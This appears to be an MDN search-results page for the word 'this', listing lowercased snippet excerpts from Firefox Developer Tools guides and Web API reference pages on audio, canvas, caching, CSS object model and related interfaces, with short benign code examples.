Step through code - Firefox Developer Tools
this lets you know what kind of breakpoint the code is paused on (breakpoint, event breakpoint, etc.), and also provides a step button and a play button.
... if you want to turn
this feature off, since firefox 71 you can do so by going to about:config in a new tab, setting the devtools.debugger.features.overlay pref to false, and restarting the browser.
DOM allocation example - Firefox Developer Tools
this article describes a very simple web page that we'll use to illustrate some features of the memory tool.
...arbuttoncount; i++) { var toolbarbutton = createtoolbarbutton(); toolbar.appendchild(toolbarbutton); } return toolbar; } function createtoolbars() { var container = document.getelementbyid("container"); for (var i = 0; i < toolbarcount; i++) { var toolbar = createtoolbar(); container.appendchild(toolbar); } } createtoolbars(); a simple pseudocode representation of how
this code operates looks like
this: createtoolbars() -> createtoolbar() // called 200 times, creates 1 div element each time -> createtoolbarbutton() // called 20 times per toolbar, creates 1 span element each time in total, then, it creates 200 htmldivelement objects, and 4000 htmlspanelement objects.
Monster example - Firefox Developer Tools
this article describes a very simple web page that we'll use to illustrate some features of the memory tool.
...onster() { function randomint(min, max) { return math.floor(math.random() * (max - min + 1)) + min; } function randomname() { var chars = "abcdefghijklmnopqrstuvwxyz"; var namelength = randomint(min_name_length, max_name_length); var name = ""; for (var j = 0; j < namelength; j++) { name += chars[randomint(0, chars.length-1)]; } return name; }
this.name = randomname();
this.eyecount = randomint(0, 25);
this.tentaclecount = randomint(0, 250); } function makemonsters() { var monsters = { "friendly": [], "fierce": [], "undecided": [] }; for (var i = 0; i < monster_count; i++) { monsters.friendly.push(new monster()); } for (var i = 0; i < monster_count; i++) { monsters.fierce.push(new monster()); } ...
Network monitor toolbar - Firefox Developer Tools
(prior to firefox 77,
this toolbar was arranged somewhat differently.) it provides: an icon to clear the network request list.
... a summary of
this page, including the number of requests, total size, and total time.
Performance - Firefox Developer Tools
this view only appears if you checked "record allocations" in the performance tool settings.
... intensive javascript uses the frame rate and waterfall tools to highlight performance problems caused by long-running javascript, and how using workers can help in
this situation.
Tips - Firefox Developer Tools
right-click any property and select "show mdn docs" to view the mdn docs for
this property.
...if no filename is included, the file name will be in
this format: screen shot date at time.png the --fullpage parameter is optional.
Rich output - Firefox Developer Tools
export output to the clipboard once you have output in the console window, you can save it to the clipboard by right-clicking on the output and selecting export visible messages to clipboard:
this will copy all of the output to the clipboard.
...the output will look something like
this: console.log(todolist) array(4) [ {…}, {…}, {…}, {…} ] debugger eval code:1:9 undefined if you expand objects, such as arrays, you get slightly different content.
AbortController.abort() - Web APIs
this is able to abort fetch requests, consumption of any response body, and streams.
...
this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener.
AbortController - Web APIs
this is able to abort fetch requests, consumption of any response body, and streams.
...
this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener.
AbortSignal - Web APIs
events listen to
this event using addeventlistener() or by assigning an event listener to the oneventname property of
this interface.
...
this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener.
AbsoluteOrientationSensor - Web APIs
to use
this sensor, the user must grant permission to the 'accelerometer', 'gyroscope', and 'magnetometer' device sensors through the permissions api.
...
this is not something that would ever be shown to a user.
AbstractWorker - Web APIs
this code snippet demonstrates the creation of a new worker using the worker() constructor; it also shows how to then send a message to the worker.
...
this code assumes that there's an <input> element represented by first; an event handler for the change event is established so that when the user changes the value of first, a message is posted to the worker to let it know.
Accelerometer.x - Web APIs
this is not something that would ever be shown to a user.
...in the example below
this occurs sixty times a second.
Accelerometer.y - Web APIs
this is not something that would ever be shown to a user.
...in the example below
this occurs sixty times a second.
Accelerometer.z - Web APIs
this is not something that would ever be shown to a user.
...in the example below
this occurs sixty times a second.
AddressErrors.addressLine - Web APIs
syntax var addresslineerror = addresserrors.addressline; value if an error occurred during validation of the address due to one of the strings in the addressline array having an invalid value,
this property is set to a domstring providing a human-readable error message explaining the validation error.
... if the paymentaddress object's addressline property was determined to be valid,
this property is not included in the addresserrors dictionary.
AddressErrors.city - Web APIs
syntax var cityerror = addresserrors.city; value if the value specified in the paymentaddress object's city property could not be validated,
this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
... if the city value was validated successfully,
this property is not included in the addresserrors object.
AddressErrors.country - Web APIs
syntax var countryerror = addresserrors.country; value if an error occurred during validation of the address due to the country property having an invalid value,
this property is set to a domstring providing a human-readable error message explaining the validation error.
... if the paymentaddress object's country property was determined to be valid,
this property is not included in the dictionary.
AddressErrors.dependentLocality - Web APIs
syntax var localityerror = addresserrors.dependentlocality; value if the value specified in the paymentaddress object's dependentlocality property could not be validated,
this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
... if the dependentlocality value was validated successfully,
this property is not included in the addresserrors object.
AddressErrors.organization - Web APIs
syntax var organizationerror = addresserrors.organization; value if the value specified in the paymentaddress object's organization property could not be validated,
this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
... for example, if validation simply ensures that only permitted characters are included in the organization's name,
this might return a string such as "the organization name may only contain the letters a-z, digits, spaces, and commas." if the organization value was validated successfully,
this property is not included in the addresserrors object.
AddressErrors.phone - Web APIs
syntax var phoneerror = addresserrors.phone; value if the value specified in the paymentaddress object's phone property could not be validated,
this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
... if the phone value was validated successfully,
this property is not included in the addresserrors object.
AddressErrors.postalCode - Web APIs
syntax var postcodeerror = addresserrors.postcode; value if the value specified in the paymentaddress object's postalcode property could not be validated,
this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
... if the postalcode value was validated successfully,
this property is not included in the addresserrors object.
AddressErrors.recipient - Web APIs
syntax var recipienterror = addresserrors.recipient; value if the value specified in the paymentaddress object's recipient property could not be validated,
this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
... if the recipient value was validated successfully,
this property is not included in the addresserrors object.
AddressErrors.region - Web APIs
syntax var regionerror = addresserrors.region; value if the value specified in the paymentaddress object's region property could not be validated,
this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
... if the region value was validated successfully,
this property is not included in the addresserrors object.
AddressErrors.regionCode - Web APIs
syntax var regioncodeerror = addresserrors.regioncode; value if the value specified in the paymentaddress object's regioncode property could not be validated,
this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
... if the regioncode value was validated successfully,
this property is not included in the addresserrors object.
AddressErrors.sortingCode - Web APIs
syntax var sortingcodeerror = addresserrors.sortingcode; value if the value specified in the paymentaddress object's sortingcode property could not be validated,
this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
... if the sortingcode value was validated successfully,
this property is not included in the addresserrors object.
AesKeyGenParams - Web APIs
this should be set to aes-cbc, aes-ctr, aes-gcm, or aes-kw, depending on the algorithm you want to use.
...
this must be one of: 128, 192, or 256.
AmbientLightSensor - Web APIs
to use
this sensor, the user must grant permission to the 'ambient-light-sensor' device sensor through the permissions api.
...
this is not something that would ever be shown to a user.
Animation() - Web APIs
this can be null (which is the default) to indicate that there should be no effect applied.
...the default value is document.timeline, but
this can be set to null as well.
Animation.cancel() - Web APIs
the web animations api's cancel() method of the animation interface clears all keyframeeffects caused by
this animation and aborts its playback.
... exceptions
this method doesn't directly throw exceptions; however, if the animation's playstate is anything but "idle" when cancelled, the current finished promise is rejected with a domexception named aborterror.
Animation.onfinish - Web APIs
this event is sent when the animation finishes playing.
...here is one instance where we add pointer events back to an element after its opacity animation has faded it in: // add an animation to the game's ending credits var endingui = document.getelementbyid("ending-ui"); var bringui = endingui.animate(keysfade, timingfade); // pause said animation's credits bringui.pause(); //
this function removes pointer events on the credits.
Animation.playState - Web APIs
this property is read-only for css animations and transitions.
...
this is now indicated by the separate animation.pending property.
Animation.startTime - Web APIs
you can read
this value to determine what the start time is currently set at, and you can change
this value to make the animation start at a different time.
...*/ function addcat(){ var newcat = document.createelement("div"); newcat.classlist.add("cat"); return newcat; } /*
this is the function that adds a cat to the waapi column */ function animatenewcatwithwaapi() { // make a new cat var newcat = addcat(); // animate said cat with the waapi's "animate" function var newanimationplayer = newcat.animate(keyframes, timing); // set the animation's start time to be the same as the original .cat#withwaapi newanimationplayer.starttime = catrunning.starttime; /...
Animation.timeline - Web APIs
the animation.timeline property of the animation interface returns or sets the timeline associated with
this animation.
... examples here we set the animation's timeline to be the same as the document's timeline (
this is the default timeline for all animations, by the way): animation.timeline = document.timeline; specifications specification status comment web animationsthe definition of 'animation.timeline' in that specification.
AnimationEffect - Web APIs
animationeffect.getcomputedtiming() returns the calculated timing properties for
this animationeffect.
... animationeffect.updatetiming() updates the specified timing properties of
this animationeffect.
AnimationTimeline - Web APIs
this interface exists to define timeline features (inherited by documenttimeline and future timeline types) and is not itself directly used by developers.
... properties animationtimeline.currenttime read only returns the time value in milliseconds for
this timeline or null if
this timeline is inactive.
AudioBuffer.getChannelData() - Web APIs
hannels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; //just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { //
this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } // get an audiobuffersourcenode.
... //
this is the audionode to use when we want to play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); // start the source playing source.start(); } specification specification status comment web audio apithe definition of 'getchanneldata' in that specification.
AudioBuffer - Web APIs
new (window.audiocontext || window.webkitaudiocontext)(); // create an empty three-second stereo buffer at the sample rate of the audiocontext var myarraybuffer = audioctx.createbuffer(2, audioctx.samplerate * 3, audioctx.samplerate); // fill the buffer with white noise; // just random values between -1.0 and 1.0 for (var channel = 0; channel < myarraybuffer.numberofchannels; channel++) { //
this gives us the actual array that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < myarraybuffer.length; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } // get an audiobuffersourcenode.
... //
this is the audionode to use when we want to play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); // start the source playing source.start(); specifications specification status comment web audio apithe definition of 'audiobuffer' in that specification.
AudioContext.close() - Web APIs
this function does not automatically release all audiocontext-created objects, unless other references have been released as well; however, it will forcibly release any system audio resources that might prevent additional audiocontexts from being created and used, suspend the progression of audio time in the audio context, and stop processing audio data.
...
this method throws an invalid_state_err exception if called on an offlineaudiocontext.
AudioContext.createMediaElementSource() - Web APIs
example
this simple example creates a source from an <audio> element using createmediaelementsource(), then passes the audio through a gainnode before feeding it into the audiodestinationnode for playback.
... note: you can also view
this example running live, or view the source.
AudioContext.createMediaStreamTrackSource() - Web APIs
this differs from createmediastreamsource(), which creates a mediastreamaudiosourcenode whose audio comes from the audio track in a specified mediastream whose id is first, lexicographically (alphabetically).
... example in
this example, getusermedia() is used to request access to the user's microphone.
AudioContext.suspend() - Web APIs
the suspend() method of the audiocontext interface suspends the progression of time in the audio context, temporarily halting audio hardware access and reducing cpu/battery usage in the process —
this is useful if you want an application to power down the audio hardware when it will not be using an audio context for a while.
...
this method will cause an invalid_state_err exception to be thrown if called on an offlineaudiocontext.
AudioNode.channelCountMode - Web APIs
the possible values of channelcountmode and their meanings are: value description the following audionode children default to
this value max the number of channels is equal to the maximum number of channels of all connections.
... in
this case, channelcount is ignored and only up-mixing happens.
AudioParam - Web APIs
when
this list is not empty, changes using the audioparam.value attributes are ignored.
...
this list of events allows us to schedule changes that have to happen at very precise times, using arbitrary timelime-based automation curves.
AudioProcessingEvent - Web APIs
note: as of the august 29 2014 web audio api spec publication,
this feature has been marked as deprecated, and is soon to be replaced by audioworklet.
... } // give the node a function to process audio events scriptnode.onaudioprocess = function(audioprocessingevent) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessingevent.outputbuffer; // loop through the output channels (in
this case there is only one) for (var channel = 0; channel < outputbuffer.numberofchannels; channel++) { var inputdata = inputbuffer.getchanneldata(channel); var outputdata = outputbuffer.getchanneldata(channel); // loop through the 4096 samples for (var sample = 0; sample < inputbuffer.length; sample++) { // make output equal to the same as the input outputdata[sample] ...
AudioScheduledSourceNode: ended event - Web APIs
bubbles no cancelable no interface event event handler property audioscheduledsourcenode.onended usage notes
this event occurs when a audioscheduledsourcenode has stopped playing, either because it's reached a predetermined stop time, the full duration of the audio has been performed, or because the entire buffer has been played.
... examples in
this simple example, an event listener for the ended event is set up to enable a "start" button in the user interface when the node stops playing: node.addeventlistener('ended', () => { document.getelementbyid("startbutton").disabled = false; }) you can also set up the event handler using the audioscheduledsourcenode.onended property: node.onended = function() { document.getelementbyid("startbutton").disabled = false; } for an example of the ended event in use, see our audio-buffer example on github.
AudioScheduledSourceNode - Web APIs
specifically,
this interface defines the start() and stop() methods, as well as the onended event handler.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of
this interface: ended fired when the source node has stopped playing, either because it's reached a predetermined stop time, the full duration of the audio has been performed, or because the entire buffer has been played.
AudioTrack.enabled - Web APIs
example
this example switches between the main and commentary audio tracks of a media element.
... note:
this example assumes that there is only one of each kind of track in the video, but
this is not necessarily the case.
AudioTrackList.length - Web APIs
example
this snippet gets the number of audio tracks in the first <video> element found in the dom by queryselector().
... var videoelem = document.queryselector("video"); var numaudiotracks = 0; if (videoelem.audiotracks) { numaudiotracks = videoelem.audiotracks.length; } note that
this sample checks to be sure htmlmediaelement.audiotracks is defined, to avoid failing on browsers without support for audiotrack.
AudioTrackList.onchange - Web APIs
example
this snippet establishes a handler for the change event that looks at each of the tracks in the list, calling a function to update the state of a user interface control that indicates the current state of the track.
... var tracklist = document.queryselector("video").audiotracks; tracklist.onchange = function(event) { tracklist.foreach(function(track) { updatetrackenabledbutton(track.id, track.enabled); }); }; the updatetrackenabledbutton(), in
this example, should be a function that finds a user interface control using the track's id (perhaps the app uses the track id as the control element's id) and the track's enabled flag to determine which state the control should be in now.
AudioWorkletGlobalScope - Web APIs
examples in
this example we output all global properties into the console in the constructor of a custom audioworkletprocessor.
...note that
this should be done in a separate file.
AudioWorkletNodeOptions - Web APIs
parameterdata optional an object containing the initial values of custom audioparam objects on
this node (in its parameters property), with key being the name of a custom parameter and value being its initial value.
...
this has the effect of changing the output channel count to dynamically change to the computed number of channels, based on the input's channel count and the current setting of the audionode property channelcountmode.
AudioWorkletProcessor - Web APIs
this method gets called for each block of 128 sample-frames and takes input and output arrays and calculated values of custom audioparams (if they are defined) as parameters.
...note that
this should be done in a separate file.
AuthenticatorAssertionResponse.userHandle - Web APIs
note:
this property may only be used in top-level contexts and will not be available in an <iframe> for example.
...
this is not human-readable and does not contain any personally identifying information (e.g.
AuthenticatorAttestationResponse.attestationObject - Web APIs
this field is not included when used in the authenticatorassertionresponse.
...ame: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var attestationobj = newcredentialinfo.response.attestationobject; //
this will be a cbor encoded arraybuffer // do something with the response // (sending it back to the relying party server maybe?) }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'attestationobject' in that specification.
BaseAudioContext.sampleRate - Web APIs
the samplerate property of the baseaudiocontext interface returns a floating point number representing the sample rate, in samples per second, used by all nodes in
this audio context.
...
this limitation means that sample-rate converters are not supported.
BasicCardRequest.supportedTypes - Web APIs
this property is obsolete and should no longer be used.
... instead of making the web app or site worry about
this, the onus has been transferred to the payment processor.
BiquadFilterNode - Web APIs
the larger
this parameter is, the sharper and larger the transition will be.
... biquadfilternode.getfrequencyresponse() from the current filter parameter settings
this method calculates the frequency response for frequencies specified in the provided array of frequencies.
Blob.arrayBuffer() - Web APIs
exceptions while
this method doesn't throw exceptions, it may reject the promise.
...
this can happen, for example, if the reader used to fetch the blob's data throws an exception.
BlobEvent.timecode - Web APIs
the timecode readonlyinline property of the blobevent interface a domhighrestimestamp indicating the difference between the timestamp of the first chunk in data, and the timestamp of the first chunk in the first blobevent produced by
this recorder.
... browser compatibility the compatibility table on
this page is generated from structured data.
Bluetooth.getAvailability() - Web APIs
exceptions
this method doesn't throw any exceptions.
... examples the following snippet prints out a message in the console specifying wheter or not bluetooth is supported: navigator.bluetooth.getavailability().then(available => { if (available) console.log("
this device supports bluetooth!"); else console.log("doh!
Bluetooth.referringDevice - Web APIs
the bluetooth.referringdevice attribute of the bluetooth interface returns a bluetoothdevice if the current document was opened in response to an instruction sent by
this device and null otherwise.
... syntax bluetooth.referringdevice value a bluetoothdevice, if the document was opened in response to an instruction sent by
this device and null otherwise.
Bluetooth - Web APIs
some user-agents let the user configure an option that affects what is returned by
this value.
... if
this option is set, that is the value returned by
this method.
BluetoothRemoteGATTCharacteristic.properties - Web APIs
the bluetoothremotegattcharacteristic.properties read-only property returns a bluetoothcharacteristicproperties instance containing the properties of
this characteristic.
... syntax var properties = bluetoothremotegattcharacteristic.properties returns the properties of
this characteristic.
Body.arrayBuffer() - Web APIs
once getdata() has finished running, we start the audio source playing with start(0), then disable the play button so it can't be clicked again when it is already playing (
this would cause an error.) function getdata() { source = audioctx.createbuffersource(); var myrequest = new request('viper.ogg'); fetch(myrequest).then(function(response) { return response.arraybuffer(); }).then(function(buffer) { audioctx.decodeaudiodata(buffer, function(decodeddata) { source.buffer = decodeddata; source.connect(audioctx.destination); }); }); }; ...
... function readfile(file) { return new response(file).arraybuffer(); } <input type="file" onchange="readfile(
this.files[0])"> specifications specification status comment fetchthe definition of 'arraybuffer()' in that specification.
BroadcastChannel() - Web APIs
note:
this feature is available in web workers.
... syntax channel = new broadcastchannel(channel); values channel is a domstring representing the name of the channel; there is one single channel with
this name for all browsing contexts with the same origin.
BroadcastChannel.close() - Web APIs
this is a necessary step to perform as there is no other way for a browser to know that
this channel is not needed anymore.
... note:
this feature is available in web workers.
BroadcastChannel.name - Web APIs
this name is passed to the broadcastchannel() constructor at creation time and is therefore read-only.
... note:
this feature is available in web workers.
BroadcastChannel.onmessage - Web APIs
the broadcastchannel.onmessage event handler is a property that specifies the function to execute when a message event, of type messageevent, is received by
this broadcastchannel.
... note:
this feature is available in web workers.
CDATASection - Web APIs
/web/api/cdatasection" target="_top"><rect x="391" y="65" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="451" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cdatasection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface has no specific properties and implements those of its parent text.
... methods
this interface has no specific methods and implements those of its parent text.
CSSGroupingRule - Web APIs
interface cssgroupingrule : cssrule { readonly attribute cssrulelist cssrules; unsigned long insertrule (domstring rule, unsigned long index); void deleterule (unsigned long index); } properties common to all cssgroupingrule instances the cssgroupingrule derives from cssrule and inherits all properties of
this class.
... methods common to all cssgroupingrule instances the cssgroupingrule derives from cssrule and inherits all methods of
this class.
CSSNamespaceRule.prefix - Web APIs
the cssnamespacerule.prefix read-only property returns a domstring with the name of the prefix associated to
this namespace.
... syntax var prefix = cssnamespacerule.prefix returns a domstring containing the prefix associated to
this namespace.
CSSPrimitiveValue.setFloatValue() - Web APIs
if the property attached to
this value can't accept the specified unit or the float value, the value will be unchanged and a domexception will be raised.
... an no_modification_allowed_err is raised if
this property is read-only.
CSSPrimitiveValue.setStringValue() - Web APIs
if the property attached to
this value can't accept the specified unit or the string value, the value will be unchanged and a domexception will be raised.
... an no_modification_allowed_err is raised if
this property is read-only.
CSSPseudoElement - Web APIs
instances of
this interface may be obtained by calling element.pseudo().
... eventtarget.dispatchevent() dispatches an event to
this pseudo-element.
CSSRule.cssText - Web APIs
note: do not confuse
this property with element-style cssstyledeclaration.csstext.
... be aware that
this property can no longer be set directly, as it is now specified to be functionally modify-only, and silently so.
CSSRule - Web APIs
if
this rule is a style rule inside an @media block, the parent rule would be that cssmediarule.
... cssrule.parentstylesheet read only returns the cssstylesheet object for the style sheet that contains
this rule cssrule.type read only one of the type constants indicating the type of css rule.
CSSStyleDeclaration.parentRule - Web APIs
the cssstyledeclaration.parentrule read-only property returns a cssrule that is the parent of
this style block, e.g.
... syntax var rule = styles.parentrule; value the css rule that contains
this declaration block or null if
this cssstyledeclaration is not attached to a cssrule.
CSSStyleRule.selectorText - Web APIs
this is readonly in some browsers; to set stylesheet rules dynamically cross-browser, see using dynamic styling information.
... working draft browser compatibility the compatibility table in
this page is generated from structured data.
CSSStyleSheet.ownerRule - Web APIs
examples
this snippet of code looks for rules which were not imported into the document using an @import at-rule.
... let rulelist = document.stylesheets[0].cssrules; for (let rule of rulelist) { if (!rule.ownerrule) { /* rule is not imported */ } }
this snipped obtains a reference to the stylesheet associated with the @import and processes it in some manner: let rulelist = document.stylesheets[0].cssrules; for (let rule of rulelist) { if (rule.ownerrule) { checkstylesheet(rule.ownerrule.stylesheet); } } specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.ownerrule' in that specification.
CSSUnparsedValue.forEach() - Web APIs
syntax cssunparsedvalue.foreach(function callback(currentvalue[, index[, array]]) { // your iterator }[,
thisarg]); parameters callback the function to execute for each element, taking three arguments: currentvalue the value of the current element being processed.
...
thisarg optional value to use as
this (i.e the reference object) when executing callback.
CSSValue.cssValueType - Web APIs
css_primitive_value the value is a primitive value and an instance of the cssprimitivevalue interface can be obtained by using binding-specific casting methods on
this instance of the cssvalue interface.
... css_value_list the value is a cssvalue list and an instance of the cssvaluelist interface can be obtained by using binding-specific casting methods on
this instance of the cssvalue interface.
CSSValue - Web APIs
css_primitive_value the value is a primitive value and an instance of the cssprimitivevalue interface can be obtained by using binding-specific casting methods on
this instance of the cssvalue interface.
... css_value_list the value is a cssvalue list and an instance of the cssvaluelist interface can be obtained by using binding-specific casting methods on
this instance of the cssvalue interface.
CSSValueList.item() - Web APIs
the order in
this collection represents the order of the values in the css style property.
... if the index is greater than or equal to the number of values in the list,
this method returns null.
CSS Painting API - Web APIs
to find out more about how
this is used, consult using the css painting api.
...access
this interface through css.paintworklet.
Cache.keys() - Web APIs
this can be a request object or a url.
...note that
this option is ignored by cache.keys().
Cache.matchAll() - Web APIs
this can be a request object or a url.
... if
this argument is omitted, you will get a copy of all responses in
this cache.
Cache.put() - Web APIs
examples
this example is from the mdn sw-test example (see sw-test running live).
... if
this fails (e.g., because the network is down), return a fallback response.
CacheStorage.delete() - Web APIs
examples in
this code snippet we wait for an activate event, and then run a waituntil() block that clears up any old, unused caches before a new service worker is activated.
...
this.addeventlistener('activate', function(event) { var cachestokeep = ['v2']; event.waituntil( caches.keys().then(function(keylist) { return promise.all(keylist.map(function(key) { if (cachestokeep.indexof(key) === -1) { return caches.delete(key); } })); }) ); }); specifications specification status comment service workersthe definition of 'cachestorage: delete' in that specification.
CacheStorage.keys() - Web APIs
use
this method to iterate over a list of all cache objects.
... examples in
this code snippet we wait for an activate event, and then run a waituntil() block that clears up any old, unused caches before a new service worker is activated.
CanvasCaptureMediaStreamTrack.requestFrame() - Web APIs
syntax stream.requestframe(); return value undefined usage notes there is currently an issue flagged in the specification pointing out that at
this time, no exceptions are being thrown if the canvas isn't origin-clean.
...
this may change in the future, so it would be wise to plan ahead and watch for exceptions such as securityerror (although the specific error that might be thrown is not mentioned in the spec,
this is a likely candidate).
CanvasRenderingContext2D.arc() - Web APIs
examples drawing a full circle
this example draws a complete circle with the arc() method.
... const canvas = document.queryselector('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.arc(100, 75, 50, 0, 2 * math.pi); ctx.stroke(); result different shapes demonstrated
this example draws various shapes to show what is possible with arc().
CanvasRenderingContext2D.beginPath() - Web APIs
call
this method when you want to create a new path.
... syntax void ctx.beginpath(); examples creating distinct paths
this example creates two paths, each of which contains a single line.
CanvasRenderingContext2D.clip() - Web APIs
examples a simple clipping region
this example uses the clip() method to create a clipping region according to the shape of a circular arc.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // create circular clipping region ctx.beginpath(); ctx.arc(100, 75, 50, 0, math.pi * 2); ctx.clip(); // draw stuff that gets clipped ctx.fillstyle = 'blue'; ctx.fillrect(0, 0, canvas.width, canvas.height); ctx.fillstyle = 'orange'; ctx.fillrect(0, 0, 100, 100); result specifying a path and a fillrule
this example saves two rectangles to a path2d object, which is then made the current clipping region using the clip() method.
CanvasRenderingContext2D.createImageData() - Web APIs
examples creating a blank imagedata object
this snippet creates a blank imagedata object using the createimagedata() method.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const imagedata = ctx.createimagedata(100, 50); console.log(imagedata); // imagedata { width: 100, height: 50, data: uint8clampedarray[20000] } filling a blank imagedata object
this example creates and fills a new imagedata object with purple pixels.
CanvasRenderingContext2D.ellipse() - Web APIs
examples drawing a full ellipse
this example draws an ellipse at an angle of π/4 radians (45°).
..."></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // draw the ellipse ctx.beginpath(); ctx.ellipse(100, 100, 50, 75, math.pi / 4, 0, 2 * math.pi); ctx.stroke(); // draw the ellipse's line of reflection ctx.beginpath(); ctx.setlinedash([5, 5]); ctx.moveto(0, 200); ctx.lineto(200, 0); ctx.stroke(); result various elliptical arcs
this example creates three elliptical paths with varying properties.
CanvasRenderingContext2D.fill() - Web APIs
examples filling a rectangle
this example fills a rectangle with the fill() method.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.rect(10, 10, 150, 100); ctx.fill(); result specifying a path and a fillrule
this example saves some intersecting lines to a path2d object.
CanvasRenderingContext2D.font - Web APIs
this string uses the same syntax as the css font specifier.
... examples using a custom font in
this example we use the font property to specify a custom font weight, size, and family.
CanvasRenderingContext2D.isPointInPath() - Web APIs
examples checking a point in the current path
this example uses the ispointinpath() method to check if a point is within the current path.
...ml <canvas id="canvas"></canvas> <p>in path: <code id="result">false</code></p> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const result = document.getelementbyid('result'); ctx.rect(10, 10, 100, 100); ctx.fill(); result.innertext = ctx.ispointinpath(30, 70); result checking a point in the specified path whenever you move the mouse,
this example checks whether the cursor is in a circular path2d path.
CanvasRenderingContext2D.isPointInStroke() - Web APIs
examples checking a point in the current path
this example uses the ispointinstroke() method to check if a point is within the area of the current path's stroke.
...anvas id="canvas"></canvas> <p>in stroke: <code id="result">false</code></p> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const result = document.getelementbyid('result'); ctx.rect(10, 10, 100, 100); ctx.stroke(); result.innertext = ctx.ispointinstroke(50, 10); result checking a point in the specified path whenever you move the mouse,
this example checks whether the cursor is in the stroke of an elliptical path2d path.
CanvasRenderingContext2D.putImageData() - Web APIs
this method is not affected by the canvas transformation matrix.
... examples understanding putimagedata to understand what
this algorithm does under the hood, here is an implementation on top of canvasrenderingcontext2d.fillrect().
CanvasRenderingContext2D.rect() - Web APIs
like other methods that modify the current path,
this method does not directly render anything.
... examples drawing a rectangle
this example creates a rectangular path using the rect() method.
CanvasRenderingContext2D.resetTransform() - Web APIs
syntax void ctx.resettransform(); examples resetting the matrix
this example draws a rotated rectangle after modifying the matrix, and then resets the matrix using the resettransform() method.
...in
this example, the first two shapes are drawn with a skew transformation, and the last two are drawn with the identity (regular) transformation.
CanvasRenderingContext2D.restore() - Web APIs
if there is no saved state,
this method does nothing.
... syntax void ctx.restore(); examples restoring a saved state
this example uses the save() method to save the default state and restore() to restore it later, so that you are able to draw a rect with the default state later.
CanvasRenderingContext2D.setLineDash() - Web APIs
examples basic example
this example uses the setlinedash() method to draw a dashed line above a solid line.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // dashed line ctx.beginpath(); ctx.setlinedash([5, 15]); ctx.moveto(0, 50); ctx.lineto(300, 50); ctx.stroke(); // solid line ctx.beginpath(); ctx.setlinedash([]); ctx.moveto(0, 100); ctx.lineto(300, 100); ctx.stroke(); result some common patterns
this example illustrates a variety of common line dash patterns.
CanvasRenderingContext2D.shadowBlur - Web APIs
this value doesn't correspond to a number of pixels, and is not affected by the current transformation matrix.
... examples adding a shadow to a shape
this example adds a blurred shadow to a rectangle.
CanvasRenderingContext2D.shadowColor - Web APIs
examples adding a shadow to shapes
this example adds a shadow to two squares; the first one is filled, and the second one is stroked.
...
this example strokes and fills a rectangle with translucent colors.
A basic ray-caster - Web APIs
this article provides an interesting real-world example of using the <canvas> element to do software rendering of a 3d environment using ray-casting.
...i know i could have started with a simpler example, but i'm sure the canvas tutorial will get to that, and i wanted to see if i could do
this.
Finale - Web APIs
this knowledge will help you to make great 2d graphics on the web.
... comments about
this tutorial – the mdn documentation community if you have any comments about
this tutorial or want to thank us, feel free to reach out to us!
ChildNode.before() - Web APIs
the childnode.before() method inserts a set of node or domstring objects in the children list of
this childnode's parent, just before
this childnode.
...argitem : document.createtextnode(string(argitem))); });
this.parentnode.insertbefore(docfrag,
